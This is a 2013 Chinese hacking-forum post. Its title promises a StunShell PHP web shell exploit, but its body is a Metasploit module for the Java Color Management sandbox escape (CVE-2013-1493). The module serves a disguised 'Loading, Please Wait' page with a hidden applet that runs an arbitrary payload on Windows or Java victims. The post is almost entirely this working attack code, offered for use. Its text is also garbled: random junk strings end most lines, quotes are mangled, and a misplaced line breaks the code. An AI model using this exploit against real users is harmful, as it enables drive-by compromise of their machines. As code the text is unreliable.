找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
### ^2 u+ c% I* T$ _

6 B" |9 E/ B4 z' y9 \0 b; d# This file is part of the Metasploit Framework and may be subject to
5 V/ t5 f1 r' l$ s6 B# redistribution and commercial restrictions. Please see the Metasploit
/ a1 ~( U9 W$ o3 N6 w# web site for more information on licensing and terms of use.
2 U) N7 R) p5 R# http://metasploit.com/" Y/ d6 U5 |+ S8 ~+ l
##4 Z: h: D  W! x; j) g" t2 d9 f4 A+ Q
require ‘msf/core’
  t0 [1 ]$ j) H( b9 l1 a. R8 _require ‘rex’
3 l5 X2 ~$ v  Dclass Metasploit3 < Msf::Exploit::Remote$ O$ R* W" @. e" a8 _5 ]5 T8 ?
Rank = NormalRanking
  ~' A+ c5 s$ E4 Y  _; \include Msf::Exploit::Remote::HttpServer::HTML
( m" K& s( {  |6 \include Msf::Exploit::EXE
; a6 L& I9 q/ h9 |7 d, sinclude Msf::Exploit::Remote::BrowserAutopwn& t! J/ [. P6 @' G8 d
autopwn_info({ :javascript => false })1 l, G, c6 ~! P3 @: p
def initialize( info = {} )
& W  {9 ?! Q- J: l# i2 ?super( update_info( info,
1 `: s9 z: g8 G‘Name’ => ‘Java CMM Remote Code Execution’,; t/ O- `6 M* Y2 ~% V1 Y( w
‘Description’ => %q{
( a3 V7 l0 P* d/ i3 \( IThis module abuses the Color Management classes from a Java Applet to run
, U* V2 }. X$ {4 D3 K7 E& c; sarbitrary Java code outside of the sandbox as exploited in the wild in February
6 F1 k9 p: T& _9 ?: land March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u413 I& x+ E) g+ p3 K* ^2 p! I
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP16 }" V3 s! v, g) B  W* Z
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java2 G8 \: P5 z" P) o
warning in order to run the malicious applet.# \( c- ]- p6 B. j5 U  Q$ B
},
2 c$ r! B. z7 o‘License’ => MSF_LICENSE,
! w" g1 Z) K% ^' q, @1 K2 T1 N‘Author’ =>
' C6 I( c4 m% T( d: M; P) w'Unknown', # Vulnerability discovery and Exploit
- r9 A% K6 k9 m( i'juan vazquez' # Metasploit module (just ported the published exploit)
& L# Q! `/ I! Q. Z],3 p$ A/ F  o7 A
‘References’ =>% j5 q- h% j# H) i3 U$ N( r5 r5 [  P
[
- m+ B/ B; w1 d/ v7 M% P6 G$ s* n5 A- O  J[ 'CVE', '2013-1493' ],
% g: e* R/ c+ y4 q. [[ 'OSVDB', '90737' ],
- E5 t; `! z$ p2 X- W# A: H[ 'BID', '58238' ],
+ b6 ]# Z. ~; n& n+ B+ N& u[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],8 X) B( ?" g: L4 i& F7 {6 b; D
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
% C% A* }! z# v: e0 [  y/ Q; L" O[ 'URL', 'http://pastie.org/pastes/6581034' ]
# t( ~9 n/ V$ e. H9 o& }! m, C( L3 {" x],
3 Q2 O- M' ]6 X5 d‘Platform’ => [ 'win', 'java' ],% b/ c+ j2 ?) X" U# i! u! @
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },5 T3 M2 s' Z! {3 v
‘Targets’ =>
) j" o- E) o. A' \7 s0 t[
) W3 o+ x1 n5 f  `- M[ 'Generic (Java Payload)',
" I5 l: @0 f; E7 F& i{. v8 l4 `5 p' j: B0 Y0 C4 f  X
'Platform' => 'java',
5 y7 ~, t( o& e. B  R! v8 k'Arch' => ARCH_JAVA7 D) L; ~+ Q6 b: X; C' I
}
. N6 Q0 X: A5 o" S],  Q5 D/ ?4 P# ?$ D9 F/ N
[ 'Windows x86 (Native Payload)',3 j$ o. e/ ^/ b
{+ |. H1 M+ m. x+ B( n
'Platform' => 'win'," ]* M- w; E2 F6 g
'Arch' => ARCH_X86$ j0 @6 B% }; \0 N5 A/ z
}
& r. ?. |+ Y/ D3 E- I]8 ?: S, R0 G) V' O5 U
],$ g5 {2 `" i2 R3 M0 n
‘‘DisclosureDate’ => ‘Mar 01 2013′
- H/ {9 I+ ~" _/ w# w))" E. E9 b4 o8 Y# ?8 g: s* G
end
0 E  y. y8 v. l. idef setup# L# U% T) o% H8 h+ Q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)7 P( @9 _& L- H% L/ v
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
. z3 C3 f& U' y  z, Bpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”); t& w  `7 v  y1 w5 P9 J. b
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
8 _" i+ T  F$ n/ Z% K: U2 cpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
$ p# o+ F8 H& _6 }, `& a/ [0 ?@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }/ o( ]8 }9 X* i& w% A
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
7 _9 n  c3 P5 V& \3 f8 J# ?- V@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 x7 c/ G7 ]7 }' i3 H
@init_class_name = rand_text_alpha(“Init”.length)
9 p# m! R; |$ r( o1 h9 {@init_class.gsub!(“Init”, @init_class_name)- S  f0 J1 W" J/ ~) q
super
6 Y1 \: W' o, kend% `: c8 Z8 N5 g' N5 \9 Z9 |
def on_request_uri(cli, request)
& V1 n7 e$ H3 n7 B$ G, L: I: _/ Mprint_status(“handling request for #{request.uri}”), ]$ Y& K8 r2 n8 I9 ^, Z6 W* M
case request.uri
# `( n2 K4 p7 q) @/ K) p$ W9 _when /\.jar$/i
" Z% V5 `% ^3 s/ M. q+ ?jar = payload.encoded_jar
4 m5 p: n* g5 ~6 A: _+ Wjar.add_file(“#{@init_class_name}.class”, @init_class)& m6 g- I& k( f5 a  U/ G/ K/ m
jar.add_file(“Leak.class”, @leak_class)3 l$ z& \; j$ ^1 `1 L) O) x5 X" I
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)$ O& o. ]" s( W- V
jar.add_file(“MyColorSpace.class”, @color_space_class)
. k5 d9 m, B, G. h# T+ Q7 _DefaultTarget’ => 1,  a4 w2 S0 b- I2 w
metasploit_str = rand_text_alpha(“metasploit”.length)) f+ ~4 B3 x, z: F/ ], T; u
payload_str = rand_text_alpha(“payload”.length)) _: o' K6 M6 p! P8 J' A
jar.entries.each { |entry|
# R  H! ]9 d& A, {$ d- U- zentry.name.gsub!(“metasploit”, metasploit_str), u+ G) x& l% z- j1 s% y* n
entry.name.gsub!(“Payload”, payload_str)
5 E6 k* V: a2 Lentry.data = entry.data.gsub(“metasploit”, metasploit_str)
# H' p) g$ @' N' k4 o! }4 a& Fentry.data = entry.data.gsub(“Payload”, payload_str)
; d% z6 q: {) H$ I; @4 d}
) k5 I3 J  j$ T3 h* Rjar.build_manifest
+ P. [: Z& W7 T/ Z: C& P: G  k1 wsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
% @# h# V5 g' ^: A/ n1 Q' Wwhen /\/$/
) ~7 }  X! C- N1 h9 _! Spayload = regenerate_payload(cli)% k4 P! F# t4 P  B3 p
if not payload( F3 ]: F! A. T0 P  v' x/ N" S" {
print_error(“Failed to generate the payload.”)
$ J$ u5 M( b, N8 u. s: ~& Qsend_not_found(cli)# _$ Q. e+ v, y& \
return
/ U2 P0 [, u$ V7 N% h  [1 zend/ Y! o/ C* g* z) e
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
5 H9 f6 s" c; {# F2 }" xelse
; D% ]$ X  S1 p  x% Y8 Jsend_redirect(cli, get_resource() + ‘/’, ”). j1 g: v$ v2 J
end
  E0 B. w, y2 `8 p$ v( A6 V1 fend
2 ^5 {4 {' m; R0 X/ Fdef generate_html
# j! B. x6 B  A5 B$ ?8 Q* Ahtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|9 Y' D. s) H7 r& s
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|4 E4 N. c. {) _8 }' _4 N
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|1 k9 v6 ~- z2 p4 P- V; _
html += %Q|</applet></body></html>|
/ w; e; P3 j9 i2 y" h# P8 lreturn html
0 O" ^7 n$ j/ z* vend
5 z1 [2 p$ b0 v2 @9 Mend0 z8 _1 x4 X" {% K& B3 l
end
5 H+ j/ d/ \4 @0 ]; ?# z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表